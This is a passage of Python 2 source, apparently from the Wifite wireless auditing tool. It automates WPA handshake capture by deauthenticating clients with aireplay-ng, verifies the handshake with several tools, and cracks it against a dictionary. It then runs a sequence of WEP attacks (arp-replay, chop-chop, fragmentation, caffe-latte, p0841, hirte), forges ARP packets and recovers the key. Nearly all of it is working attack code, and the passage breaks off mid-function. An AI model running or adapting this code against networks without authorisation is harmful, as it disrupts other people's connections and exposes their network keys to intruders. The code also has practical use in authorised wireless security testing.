  1957.         # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C)
  1958.         try:
  1959.             # Start airodump-ng process to capture handshakes
  1960.             cmd = ['airodump-ng',
  1961.                   '-w', self.RUN_CONFIG.temp + 'wpa',
  1962.                   '-c', self.target.channel,
  1963.                   '--bssid', self.target.bssid, self.iface]
  1964.             proc_read = Popen(cmd, stdout=DN, stderr=DN)
  1965.  
  1966.             # Setting deauthentication process here to avoid errors later on
  1967.             proc_deauth = None
  1968.  
  1969.             print ' %s starting %swpa handshake capture%s on "%s"' % \
  1970.                     (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT)+W, G, W, G+self.target.ssid+W)
  1971.             got_handshake = False
  1972.  
  1973.             seconds_running = 0
  1974.  
  1975.             target_clients = self.clients[:]
  1976.             client_index = -1
  1977.             start_time = time.time()
  1978.             # Deauth and check-for-handshake loop
  1979.             while not got_handshake and (self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
  1980.                 if proc_read.poll() != None:
  1981.                     print ""
  1982.                     print "airodump-ng exited with status " + str(proc_read.poll())
  1983.                     print ""
  1984.                     break
  1985.                 time.sleep(1)
  1986.                 seconds_running = int(time.time() - start_time)
  1987.  
  1988.                 print "                                                          \r",
  1989.                 print ' %s listening for handshake...\r' % \
  1990.                       (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W),
  1991.                 stdout.flush()
  1992.  
  1993.                 if seconds_running % self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT == 0:
  1994.                     # Send deauth packets via aireplay-ng
  1995.                     cmd = ['aireplay-ng',
  1996.                           '--ignore-negative-one',
  1997.                           '-0',  # Attack method (Deauthentication)
  1998.                            str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),  # Number of packets to send
  1999.                           '-a', self.target.bssid]
  2000.  
  2001.                     client_index += 1
  2002.  
  2003.                     if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
  2004.                         print " %s sending %s deauth to %s*broadcast*%s..." % \
  2005.                                  (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, G+str(self.RUN_CONFIG.WPA_DEAUTH_COUNT)+W, G, W),
  2006.                         client_index = -1
  2007.                     else:
  2008.                         print " %s sending %s deauth to %s... " % \
  2009.                                  (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, \
  2010.                                   G+str(self.RUN_CONFIG.WPA_DEAUTH_COUNT)+W, \
  2011.                                  G+target_clients[client_index].bssid+W),
  2012.                         cmd.append('-h')
  2013.                         cmd.append(target_clients[client_index].bssid)
  2014.                     cmd.append(self.iface)
  2015.                     stdout.flush()
  2016.  
  2017.                     # Send deauth packets via aireplay, wait for them to complete.
  2018.                     proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
  2019.                     proc_deauth.wait()
  2020.                     print "sent\r",
  2021.                     stdout.flush()
  2022.  
  2023.                 # Copy current dump file for consistency
  2024.                 if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue
  2025.                 copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2026.  
  2027.                 # Save copy of cap file (for debugging)
  2028.                 #remove_file('/root/new/wpa-01.cap')
  2029.                 #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap')
  2030.  
  2031.                 # Check for handshake
  2032.                 if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'):
  2033.                     got_handshake = True
  2034.  
  2035.                     try: os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
  2036.                     except OSError: pass
  2037.  
  2038.                     # Kill the airodump and aireplay processes
  2039.                     send_interrupt(proc_read)
  2040.                     send_interrupt(proc_deauth)
  2041.  
  2042.                     # Save a copy of the handshake
  2043.                     rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as)
  2044.  
  2045.                     print '\n %s %shandshake captured%s! saved as "%s"' % (GR+sec_to_hms(seconds_running)+W, G, W, G+save_as+W)
  2046.                     self.RUN_CONFIG.WPA_FINDINGS.append('%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
  2047.                     self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
  2048.                     self.RUN_CONFIG.WPA_FINDINGS.append('')
  2049.  
  2050.                     # Strip handshake if needed
  2051.                     if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
  2052.  
  2053.                     # Add the filename and SSID to the list of 'to-crack'
  2054.                     # Cracking will be handled after all attacks are finished.
  2055.                     self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
  2056.  
  2057.                     break # Break out of while loop
  2058.  
  2059.                 # No handshake yet
  2060.                 os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp')
  2061.  
  2062.                 # Check the airodump output file for new clients
  2063.                 for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]:
  2064.                     if client.station != self.target.bssid: continue
  2065.                     new_client = True
  2066.                     for c in target_clients:
  2067.                         if client.bssid == c.bssid:
  2068.                             new_client = False
  2069.                             break
  2070.  
  2071.                     if new_client:
  2072.                         print " %s %snew client%s found: %s                         " % \
  2073.                                (GR+sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W, \
  2074.                                G+client.bssid+W)
  2075.                         target_clients.append(client)
  2076.  
  2077.             # End of Handshake wait loop.
  2078.  
  2079.             if not got_handshake:
  2080.                 print R+' [0:00:00]'+O+' unable to capture handshake in time'+W
  2081.  
  2082.         except KeyboardInterrupt:
  2083.             print R+'\n (^C)'+O+' WPA handshake capture interrupted'+W
  2084.             if attack_interrupted_prompt():
  2085.                 remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2086.                 send_interrupt(proc_read)
  2087.                 send_interrupt(proc_deauth)
  2088.                 print ''
  2089.                 self.RUN_CONFIG.exit_gracefully(0)
  2090.  
  2091.  
  2092.         # clean up
  2093.         remove_airodump_files(self.RUN_CONFIG.temp + 'wpa')
  2094.         send_interrupt(proc_read)
  2095.         send_interrupt(proc_deauth)
  2096.  
  2097.         return got_handshake
  2098.  
  2099.     def has_handshake_tshark(self, target, capfile):
  2100.         """
  2101.            Uses TShark to check for a handshake.
  2102.            Returns "True" if handshake is found, false otherwise.
  2103.        """
  2104.         if program_exists('tshark'):
  2105.             # Call Tshark to return list of EAPOL packets in cap file.
  2106.             cmd = ['tshark',
  2107.                    '-r', capfile, # Input file
  2108.                    '-R', 'eapol', # Filter (only EAPOL packets)
  2109.                    '-n']          # Do not resolve names (MAC vendors)
  2110.             proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2111.             proc.wait()
  2112.             lines = proc.communicate()[0].split('\n')
  2113.  
  2114.             # Get list of all clients in cap file
  2115.             clients = []
  2116.             for line in lines:
  2117.                 if line.find('appears to have been cut short') != -1 or line.find('Running as user "root"') != -1 or line.strip() == '':
  2118.                     continue
  2119.  
  2120.                 while line.startswith(' '):  line = line[1:]
  2121.                 while line.find('  ') != -1: line = line.replace('  ', ' ')
  2122.  
  2123.                 fields = line.split(' ')
  2124.                 # ensure tshark dumped correct info
  2125.                 if len(fields) < 5:
  2126.                     continue
  2127.  
  2128.                 src = fields[2].lower()
  2129.                 dst = fields[4].lower()
  2130.  
  2131.                 if src == target.bssid.lower() and clients.count(dst) == 0: clients.append(dst)
  2132.                 elif dst == target.bssid.lower() and clients.count(src) == 0: clients.append(src)
  2133.  
  2134.             # Check each client for a handshake
  2135.             for client in clients:
  2136.                 msg_num = 1 # Index of message in 4-way handshake (starts at 1)
  2137.  
  2138.                 for line in lines:
  2139.                     if line.find('appears to have been cut short') != -1: continue
  2140.                     if line.find('Running as user "root"') != -1: continue
  2141.                     if line.strip() == '': continue
  2142.  
  2143.                     # Sanitize tshark's output, separate into fields
  2144.                     while line[0] == ' ': line = line[1:]
  2145.                     while line.find('  ') != -1: line = line.replace('  ', ' ')
  2146.  
  2147.                     fields = line.split(' ')
  2148.  
  2149.                     # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake.
  2150.                     # This catches this glitch and fixes it.
  2151.                     if len(fields) < 8:
  2152.                         continue
  2153.                     elif len(fields) == 8:
  2154.                         fields.append('(msg')
  2155.                         fields.append('3/4)')
  2156.  
  2157.                     src = fields[2].lower() # Source MAC address
  2158.                     dst = fields[4].lower() # Destination MAC address
  2159.                     #msg = fields[9][0]      # The message number (1, 2, 3, or 4)
  2160.                     msg = fields[-1][0]
  2161.  
  2162.                     # First, third msgs in 4-way handshake are from the target to client
  2163.                     if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client): continue
  2164.                     # Second, fourth msgs in 4-way handshake are from client to target
  2165.                     elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client): continue
  2166.  
  2167.                     # The messages must appear in sequential order.
  2168.                     try:
  2169.                         if int(msg) != msg_num: continue
  2170.                     except ValueError: continue
  2171.  
  2172.                     msg_num += 1
  2173.  
  2174.                     # We need the first 4 messages of the 4-way handshake
  2175.                     # Although aircrack-ng cracks just fine with only 3 of the messages...
  2176.                     if msg_num >= 4:
  2177.                         return True
  2178.         return False
  2179.  
  2180.     def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
  2181.         """
  2182.            Uses cowpatty to check for a handshake.
  2183.            Returns "True" if handshake is found, false otherwise.
  2184.        """
  2185.         if not program_exists('cowpatty'): return False
  2186.  
  2187.         # Call cowpatty to check if capfile contains a valid handshake.
  2188.         cmd = ['cowpatty',
  2189.                '-r', capfile,     # input file
  2190.                '-s', target.ssid, # SSID
  2191.                '-c']              # Check for handshake
  2192.         # Uses frames 1, 2, or 3 for key attack
  2193.         if nonstrict: cmd.append('-2')
  2194.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2195.         proc.wait()
  2196.         response = proc.communicate()[0]
  2197.         if response.find('incomplete four-way handshake exchange') != -1:
  2198.             return False
  2199.         elif response.find('Unsupported or unrecognized pcap file.') != -1:
  2200.             return False
  2201.         elif response.find('Unable to open capture file: Success') != -1:
  2202.             return False
  2203.         return True
  2204.  
  2205.     def has_handshake_pyrit(self, target, capfile):
  2206.         """
  2207.            Uses pyrit to check for a handshake.
  2208.            Returns "True" if handshake is found, false otherwise.
  2209.        """
  2210.         if not program_exists('pyrit'): return False
  2211.  
  2212.         # Call pyrit to "Analyze" the cap file's handshakes.
  2213.         cmd = ['pyrit',
  2214.                '-r', capfile,
  2215.                'analyze']
  2216.         proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2217.         proc.wait()
  2218.         hit_essid = False
  2219.         for line in proc.communicate()[0].split('\n'):
  2220.             # Iterate over every line of output by Pyrit
  2221.             if line == '' or line == None: continue
  2222.             if line.find("AccessPoint") != -1:
  2223.                 hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
  2224.                             (line.lower().find(target.bssid.lower()) != -1)
  2225.                 #hit_essid = (line.lower().find(target.bssid.lower()))
  2226.  
  2227.             else:
  2228.                 # If Pyrit says it's good or workable, it's a valid handshake.
  2229.                 if hit_essid and (line.find(', good, ') != -1 or \
  2230.                                   line.find(', workable, ') != -1):
  2231.                     return True
  2232.         return False
  2233.  
  2234.     def has_handshake_aircrack(self, target, capfile):
  2235.         """
  2236.            Uses aircrack-ng to check for handshake.
  2237.            Returns True if found, False otherwise.
  2238.        """
  2239.         if not program_exists('aircrack-ng'): return False
  2240.         crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
  2241.         proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
  2242.         proc_crack.wait()
  2243.         txt = proc_crack.communicate()[0]
  2244.  
  2245.         return (txt.find('Passphrase not in dictionary') != -1)
  2246.  
  2247.     def has_handshake(self, target, capfile):
  2248.         """
  2249.            Checks if .cap file contains a handshake.
  2250.            Returns True if handshake is found, False otherwise.
  2251.        """
  2252.         valid_handshake = True
  2253.         tried = False
  2254.         if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
  2255.             tried = True
  2256.             valid_handshake = self.has_handshake_tshark(target, capfile)
  2257.  
  2258.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2259.             tried = True
  2260.             valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2261.  
  2262.         # Use CowPatty to check for handshake.
  2263.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
  2264.             tried = True
  2265.             valid_handshake = self.has_handshake_cowpatty(target, capfile)
  2266.  
  2267.         # Check for handshake using Pyrit if applicable
  2268.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
  2269.             tried = True
  2270.             valid_handshake = self.has_handshake_pyrit(target, capfile)
  2271.  
  2272.         # Check for handshake using aircrack-ng
  2273.         if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
  2274.             tried = True
  2275.             valid_handshake = self.has_handshake_aircrack(target, capfile)
  2276.  
  2277.         if tried: return valid_handshake
  2278.         print R+' [!]'+O+' unable to check for handshake: all handshake options are disabled!'
  2279.         self.RUN_CONFIG.exit_gracefully(1)
  2280.  
  2281.     def strip_handshake(self, capfile):
  2282.         """
  2283.            Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
  2284.            File in location 'capfile' is overwritten!
  2285.        """
  2286.         output_file = capfile
  2287.         if program_exists('pyrit'):
  2288.             cmd = ['pyrit',
  2289.                  '-r', capfile,
  2290.                  '-o', output_file,
  2291.                  'strip']
  2292.             call(cmd,stdout=DN, stderr=DN)
  2293.  
  2294.         elif program_exists('tshark'):
  2295.             # strip results with tshark
  2296.             cmd = ['tshark',
  2297.                    '-r', capfile,      # input file
  2298.                    '-R', 'eapol || wlan_mgt.tag.interpretation', # filter
  2299.                    '-w', capfile + '.temp'] # output file
  2300.             proc_strip = call(cmd, stdout=DN, stderr=DN)
  2301.  
  2302.             rename(capfile + '.temp', output_file)
  2303.  
  2304.         else:
  2305.             print R+" [!]"+O+" unable to strip .cap file: neither pyrit nor tshark were found"+W
  2306.  
  2307. ##########################
  2308. # WPA CRACKING FUNCTIONS #
  2309. ##########################
  2310. def wpa_crack(capfile, RUN_CONFIG):
  2311.     """
  2312.        Cracks cap file using aircrack-ng
  2313.        This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
  2314.        they can do so manually.
  2315.    """
  2316.     if RUN_CONFIG.WPA_DICTIONARY == '':
  2317.         print R+' [!]'+O+' no WPA dictionary found! use -dict <file> command-line argument'+W
  2318.         return False
  2319.  
  2320.     print GR+' [0:00:00]'+W+' cracking %s with %s' % (G+capfile.ssid+W, G+'aircrack-ng'+W)
  2321.     start_time = time.time()
  2322.     cracked = False
  2323.  
  2324.     remove_file(RUN_CONFIG.temp + 'out.out')
  2325.     remove_file(RUN_CONFIG.temp + 'wpakey.txt')
  2326.  
  2327.     cmd = ['aircrack-ng',
  2328.            '-a', '2',                 # WPA crack
  2329.            '-w', RUN_CONFIG.WPA_DICTIONARY,      # Wordlist
  2330.            '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
  2331.            '-b', capfile.bssid,       # BSSID of target
  2332.            capfile.filename]
  2333.  
  2334.     proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
  2335.     try:
  2336.         kt  = 0 # Keys tested
  2337.         kps = 0 # Keys per second
  2338.         while True:
  2339.             time.sleep(1)
  2340.  
  2341.             if proc.poll() != None: # aircrack stopped
  2342.                 if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
  2343.                     # Cracked
  2344.                     inf = open(RUN_CONFIG.temp + 'wpakey.txt')
  2345.                     key = inf.read().strip()
  2346.                     inf.close()
  2347.                     RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (G+capfile.ssid+W, G+capfile.bssid+W, C+key+W))
  2348.                     RUN_CONFIG.WPA_FINDINGS.append('')
  2349.                     t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
  2350.                     t.key = key
  2351.                     RUN_CONFIG.save_cracked(t)
  2352.  
  2353.                     print GR+'\n [+]'+W+' cracked %s (%s)!' % (G+capfile.ssid+W, G+capfile.bssid+W)
  2354.                     print GR+' [+]'+W+' key:    "%s"\n' % (C+key+W)
  2355.                     cracked = True
  2356.                 else:
  2357.                     # Did not crack
  2358.                     print R+'\n [!]'+R+'crack attempt failed'+O+': passphrase not in dictionary'+W
  2359.                 break
  2360.  
  2361.             inf = open(RUN_CONFIG.temp + 'out.out', 'r')
  2362.             lines = inf.read().split('\n')
  2363.             inf.close()
  2364.             outf = open(RUN_CONFIG.temp + 'out.out', 'w')
  2365.             outf.close()
  2366.             for line in lines:
  2367.                 i = line.find(']')
  2368.                 j = line.find('keys tested', i)
  2369.                 if i != -1 and j != -1:
  2370.                     kts = line[i+2:j-1]
  2371.                     try: kt = int(kts)
  2372.                     except ValueError: pass
  2373.                 i = line.find('(')
  2374.                 j = line.find('k/s)', i)
  2375.                 if i != -1 and j != -1:
  2376.                     kpss = line[i+1:j-1]
  2377.                     try: kps = float(kpss)
  2378.                     except ValueError: pass
  2379.  
  2380.             print "\r %s %s keys tested (%s%.2f keys/sec%s)   " % \
  2381.                    (GR+sec_to_hms(time.time() - start_time)+W, G+add_commas(kt)+W, G, kps, W),
  2382.             stdout.flush()
  2383.  
  2384.     except KeyboardInterrupt: print R+'\n (^C)'+O+' WPA cracking interrupted'+W
  2385.  
  2386.     send_interrupt(proc)
  2387.     try: os.kill(proc.pid, SIGTERM)
  2388.     except OSError: pass
  2389.  
  2390.     return cracked
  2391.  
  2392. def add_commas(n):
  2393.     """
  2394.        Receives integer n, returns string representation of n with commas in thousands place.
  2395.        I'm sure there's easier ways of doing this... but meh.
  2396.    """
  2397.     strn = str(n)
  2398.     lenn = len(strn)
  2399.     i = 0
  2400.     result = ''
  2401.     while i < lenn:
  2402.         if (lenn - i) % 3 == 0 and i != 0: result += ','
  2403.         result += strn[i]
  2404.         i += 1
  2405.     return result
  2406.  
  2407.  
  2408. #################
  2409. # WEP FUNCTIONS #
  2410. #################
  2411. class WEPAttack(Attack):
  2412.     def __init__(self, iface, target, clients, config):
  2413.         self.iface = iface
  2414.         self.target = target
  2415.         self.clients = clients
  2416.         self.RUN_CONFIG = config
  2417.  
  2418.     def RunAttack(self):
  2419.         '''
  2420.            Abstract method for dispatching the WEP crack
  2421.        '''
  2422.         self.attack_wep()
  2423.  
  2424.     def EndAttack(self):
  2425.         '''
  2426.            Abstract method for ending the WEP attack
  2427.        '''
  2428.         pass
  2429.  
  2430.     def attack_wep(self):
  2431.         """
  2432.        Attacks WEP-encrypted network.
  2433.        Returns True if key was successfully found, False otherwise.
  2434.        """
  2435.         if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
  2436.  
  2437.         total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0)
  2438.         if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
  2439.         if not self.RUN_CONFIG.WEP_CHOPCHOP:   total_attacks -= 1
  2440.         if not self.RUN_CONFIG.WEP_FRAGMENT:   total_attacks -= 1
  2441.         if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
  2442.         if not self.RUN_CONFIG.WEP_P0841:      total_attacks -= 1
  2443.         if not self.RUN_CONFIG.WEP_HIRTE:      total_attacks -= 1
  2444.  
  2445.         if total_attacks <= 0:
  2446.             print R+' [!]'+O+' unable to initiate WEP attacks: no attacks are selected!'
  2447.             return False
  2448.         remaining_attacks = total_attacks
  2449.  
  2450.         print ' %s preparing attack "%s" (%s)' % \
  2451.                (GR+sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)+W, G+self.target.ssid+W, G+self.target.bssid+W)
  2452.  
  2453.         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2454.         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2455.  
  2456.         # Start airodump process to capture packets
  2457.         cmd_airodump = ['airodump-ng',
  2458.            '-w', self.RUN_CONFIG.temp + 'wep',      # Output file name (wep-01.cap, wep-01.csv)
  2459.            '-c', self.target.channel,    # Wireless channel
  2460.            '--bssid', self.target.bssid,
  2461.            self.iface]
  2462.         proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2463.         proc_aireplay = None
  2464.         proc_aircrack = None
  2465.  
  2466.         successful       = False # Flag for when attack is successful
  2467.         started_cracking = False # Flag for when we have started aircrack-ng
  2468.         client_mac       = ''    # The client mac we will send packets to/from
  2469.  
  2470.         total_ivs = 0
  2471.         ivs = 0
  2472.         last_ivs = 0
  2473.         for attack_num in xrange(0, 6):
  2474.  
  2475.             # Skip disabled attacks
  2476.             if   attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY: continue
  2477.             elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:   continue
  2478.             elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:   continue
  2479.             elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE: continue
  2480.             elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:      continue
  2481.             elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:      continue
  2482.  
  2483.             remaining_attacks -= 1
  2484.  
  2485.             try:
  2486.  
  2487.                 if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
  2488.                     # Successful fake auth
  2489.                     client_mac = self.RUN_CONFIG.THIS_MAC
  2490.                 elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
  2491.                     send_interrupt(proc_aireplay)
  2492.                     send_interrupt(proc_airodump)
  2493.                     print R+' [!]'+O+' unable to fake-authenticate with target'
  2494.                     print R+' [!]'+O+' to skip this speed bump, select "ignore-fake-auth" at command-line'
  2495.                     return False
  2496.  
  2497.                 remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2498.                 # Generate the aireplay-ng arguments based on attack_num and other params
  2499.                 cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
  2500.                 if cmd == '': continue
  2501.                 if proc_aireplay != None:
  2502.                     send_interrupt(proc_aireplay)
  2503.                 proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2504.  
  2505.                 print '\r %s attacking "%s" via' % (GR+sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)+W, G+self.target.ssid+W),
  2506.                 if attack_num == 0:   print G+'arp-replay',
  2507.                 elif attack_num == 1: print G+'chop-chop',
  2508.                 elif attack_num == 2: print G+'fragmentation',
  2509.                 elif attack_num == 3: print G+'caffe-latte',
  2510.                 elif attack_num == 4: print G+'p0841',
  2511.                 elif attack_num == 5: print G+'hirte',
  2512.                 print 'attack'+W
  2513.  
  2514.                 print ' %s captured %s%d%s ivs @ %s iv/sec' % (GR+sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)+W, G, total_ivs, W, G+'0'+W),
  2515.                 stdout.flush()
  2516.  
  2517.                 time.sleep(1)
  2518.                 if attack_num == 1:
  2519.                     # Send a deauth packet to broadcast and all clients *just because!*
  2520.                     self.wep_send_deauths(self.iface, self.target, self.clients)
  2521.                 last_deauth = time.time()
  2522.  
  2523.                 replaying = False
  2524.                 time_started = time.time()
  2525.                 while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
  2526.                     # time.sleep(5)
  2527.                     for time_count in xrange(0, 6):
  2528.                         if self.RUN_CONFIG.WEP_TIMEOUT == -1:
  2529.                             current_hms = "[endless]"
  2530.                         else:
  2531.                             current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
  2532.                         print "\r %s\r" % (GR+current_hms+W),
  2533.                         stdout.flush()
  2534.                         time.sleep(1)
  2535.  
  2536.                     # Calculates total seconds remaining
  2537.  
  2538.                     # Check number of IVs captured
  2539.                     csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0]
  2540.                     if len(csv) > 0:
  2541.                         ivs = int(csv[0].data)
  2542.                         print "\r                                                   ",
  2543.                         print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
  2544.                                   (GR+current_hms+W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2545.  
  2546.                         if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
  2547.                             print "\r %s deauthing to generate packets..." % (GR+current_hms+W),
  2548.                             self.wep_send_deauths(self.iface, self.target, self.clients)
  2549.                             print "done\r",
  2550.                             last_deauth = time.time()
  2551.  
  2552.                         last_ivs = ivs
  2553.                         stdout.flush()
  2554.                         if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
  2555.                             # Start cracking
  2556.                             cmd = ['aircrack-ng',
  2557.                                    '-a', '1',
  2558.                                    '-l', self.RUN_CONFIG.temp + 'wepkey.txt']
  2559.                                    #temp + 'wep-01.cap']
  2560.                             # Append all .cap files in temp directory (in case we are resuming)
  2561.                             for f in os.listdir(self.RUN_CONFIG.temp):
  2562.                                 if f.startswith('wep-') and f.endswith('.cap'):
  2563.                                     cmd.append(self.RUN_CONFIG.temp + f)
  2564.  
  2565.                             print "\r %s started %s (%sover %d ivs%s)" % (GR+current_hms+W, G+'cracking'+W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
  2566.                             proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
  2567.                             started_cracking = True
  2568.  
  2569.                     # Check if key has been cracked yet.
  2570.                     if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2571.                         # Cracked!
  2572.                         infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2573.                         key = infile.read().replace('\n', '')
  2574.                         infile.close()
  2575.                         print '\n\n %s %s %s (%s)! key: "%s"' % (current_hms, G+'cracked', self.target.ssid+W, G+self.target.bssid+W, C+key+W)
  2576.                         self.RUN_CONFIG.WEP_FINDINGS.append('cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2577.                         self.RUN_CONFIG.WEP_FINDINGS.append('')
  2578.  
  2579.                         t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2580.                         t.key = key
  2581.                         self.RUN_CONFIG.save_cracked(t)
  2582.  
  2583.                         # Kill processes
  2584.                         send_interrupt(proc_airodump)
  2585.                         send_interrupt(proc_aireplay)
  2586.                         try: os.kill(proc_aireplay, SIGTERM)
  2587.                         except: pass
  2588.                         send_interrupt(proc_aircrack)
  2589.                         # Remove files generated by airodump/aireplay/packetforce
  2590.                         time.sleep(0.5)
  2591.                         remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2592.                         remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2593.                         return True
  2594.  
  2595.                     # Check if aireplay is still executing
  2596.                     if proc_aireplay.poll() == None:
  2597.                         if replaying: print ', '+G+'replaying         \r'+W,
  2598.                         elif attack_num == 1 or attack_num == 2: print ', waiting for packet    \r',
  2599.                         stdout.flush()
  2600.                         continue
  2601.  
  2602.                     # At this point, aireplay has stopped
  2603.                     if attack_num != 1 and attack_num != 2:
  2604.                         print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R+current_hms, O, W)
  2605.                         break # Break out of attack's While loop
  2606.  
  2607.                     # Check for a .XOR file (we expect one when doing chopchop/fragmentation
  2608.                     xor_file = ''
  2609.                     for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
  2610.                         if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename
  2611.                     if xor_file == '':
  2612.                         print '\r %s attack failed: %sunable to generate keystream        %s' % (R+current_hms, O, W)
  2613.                         break
  2614.  
  2615.                     remove_file(self.RUN_CONFIG.temp + 'arp.cap')
  2616.                     cmd = ['packetforge-ng',
  2617.                              '-0',
  2618.                              '-a', self.target.bssid,
  2619.                              '-h', client_mac,
  2620.                              '-k', '192.168.1.2',
  2621.                              '-l', '192.168.1.100',
  2622.                              '-y', xor_file,
  2623.                              '-w', self.RUN_CONFIG.temp + 'arp.cap',
  2624.                              self.iface]
  2625.                     proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
  2626.                     proc_pforge.wait()
  2627.                     forged_packet = proc_pforge.communicate()[0]
  2628.                     remove_file(xor_file)
  2629.                     if forged_packet == None: result = ''
  2630.                     forged_packet = forged_packet.strip()
  2631.                     if not forged_packet.find('Wrote packet'):
  2632.                         print "\r %s attack failed: unable to forget ARP packet               %s" % (R+current_hms+O, W)
  2633.                         break
  2634.  
  2635.                     # We were able to forge a packet, so let's replay it via aireplay-ng
  2636.                     cmd = ['aireplay-ng',
  2637.                            '--ignore-negative-one',
  2638.                            '--arpreplay',
  2639.                            '-b', self.target.bssid,
  2640.                            '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet
  2641.                            '-F', # Select the first packet
  2642.                            self.iface]
  2643.                     proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  2644.  
  2645.                     print '\r %s forged %s! %s...         ' % (GR+current_hms+W, G+'arp packet'+W, G+'replaying'+W)
  2646.                     replaying = True
  2647.  
  2648.                 # After the attacks, if we are already cracking, wait for the key to be found!
